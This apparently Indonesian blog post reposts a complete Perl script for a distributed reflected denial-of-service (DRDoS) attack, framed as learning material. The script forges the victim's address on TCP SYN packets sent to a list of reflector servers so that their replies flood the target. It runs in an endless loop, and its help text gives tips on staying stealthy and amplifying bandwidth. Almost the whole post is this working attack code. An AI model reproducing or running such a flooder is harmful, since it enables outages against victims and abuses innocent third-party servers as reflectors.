DRDoS:Hanya sebagai bahan pembelajaran, untuk mengetahui kelemahan system kita

Saya ambil dari blog lama saya….walaupun mungkin script ini sudah ‘kuno’ tetapi saya yakin script ini bisa dipergunakan sebagai bahan pembelajaran

#!/usr/bin/perl

#
# ~written by whoppix (c) 2007~
# This Piece of software may be freely (re-)distributed under the Terms of the LGPL.
# for a short usage type ./script –help
# this program requires: perl, Net::RawIP (depends on libpcap), Getopt::Long
# (which should be shipped along with your perl core distribution)
# if you want to gain a deeper understanding about how DRDoS works, have a look at:
# http://www.grc.com/dos/drdos.htm
# This program is written for testing and researching purposes only.
#

use warnings;
use strict;
use Net::RawIP;
use Getopt::Long;

my $verbose = ’0′;
my $syn_count = ’1′;
my $victim = ’127.0.0.1′;
my @lists = ();
my $net = new Net::RawIP;

GetOptions(
‘verbose+’ => \$verbose,
‘syn_count=s’ => \$syn_count,
‘list=s’ => \@lists,
‘help’ => \&usage,
);
$victim = shift @ARGV;
if ( !$victim ) {
die “Error: No target specified, use –help\n”;
}
if ( !@lists ) {
die “Error: You have to specify at least one reflector list, use –help\n”;
}
foreach my $file (@lists) {
if ( !-e $file ) {
die “File does not seem to exist: $file\n”;
}
}
print “Starting attack on target $victim.\n”;
print “press Ctrl-C to interrupt at any time.\n” if $verbose >= 1;
while (1) {
foreach my $listfile (@lists) {
print “Loading reflector file: $listfile\n” if $verbose >= 1;
open( my $list, “<”, $listfile )
or die “Error opening file for reading: $listfile\n”;
while (<$list>) {
chomp;
if ( check_format($_) ) {
my $counter = $syn_count;
my $reflector = $_;
my ( $ip, $port ) = split( ‘:’, $reflector );
print “reflector ip: $ip, reflector port: $port\n”
if $verbose > 1;
for ( my $counter = $syn_count; $counter > 0; $counter– ) {
print “attacking using reflector: $reflector\n”
if $verbose > 1;
my $rand = int( rand(65535) );
while ( $rand == 0 ) {
print
“random number calculated for SRCPORT was zero, retrying…\n”
if $verbose > 1;
$rand = int( rand(65535) );
}
print “random port used for SRCPORT: $rand\n”
if $verbose > 1;
$net->set(
{ ip => {
saddr => $victim,
daddr => $ip,
},
tcp => {
source => $rand,
dest => $port,
syn => 1,
},
}
);
$net->send();
}
}
else {
print
“mirror \”$_\” not in correct format (ip:port) omitting…\n”
if $verbose >= 1;
}
}
}
}

sub usage {
print “\nusage:\n\n”;
print “–help\t\t: youre reading it\n”;
print
“–verbose\t: makes the script more verbose. can be used several times to increase verbosity.\n”;
print “–list\t\t: used to specify a reflectorlist.\n”;
print
“\t\texample: ./script –list list1.txt –list list2.txt –list list3.txt 127.0.0.1\n”;
print
“\t\tthe more (and longer) lists you have, the better will the result be, and the more stealth you will gain.\n”;
print
“–syn_count\t: used to set the syn_count to a special value. default is 1.\n”;
print “\t\tdon’t use too much – that would decrease your stealth. Default (and that should be fine) is 1.\n”;
print “\nGeneral information:\n”;
print “The usage of multiple lists can increase your stealth.\n”;
print “The more Mirrors or \”reflectors\” you use, the better will the result be.\n”;
print “The better the bandwidth of your mirrors is, the better will the result be.\n”;
print “Generally spoken is the bandwidth you use to flood your victim amplified by the factor 3-4.\n\n”;
die “\n”;
}

sub check_format { # a function to check the ip:port format.
no warnings;
my $address = shift;
my ( $ip, $port ) = split( ‘:’, $address );
my @octets = split( ‘\.’, $ip );

if ( $port < 1 or $port > 65535 ) {
print “port $port too high or low\n” if $verbose >= 1;
return;
}
if ( @octets != 4 ) {
print “ip has invalid number of octetts: $ip\n” if $verbose >= 1;
return;
}
foreach my $octet (@octets) {
if ( $octet < 0 or $octet > 255 ) {
print “octet is invalid: $octet\n” if $verbose >= 1;
return;
}
}
print “VALID!\n” if $verbose > 1;
return 1;
}

source: http://www.grc.com/dos/drdos.htm

About these ads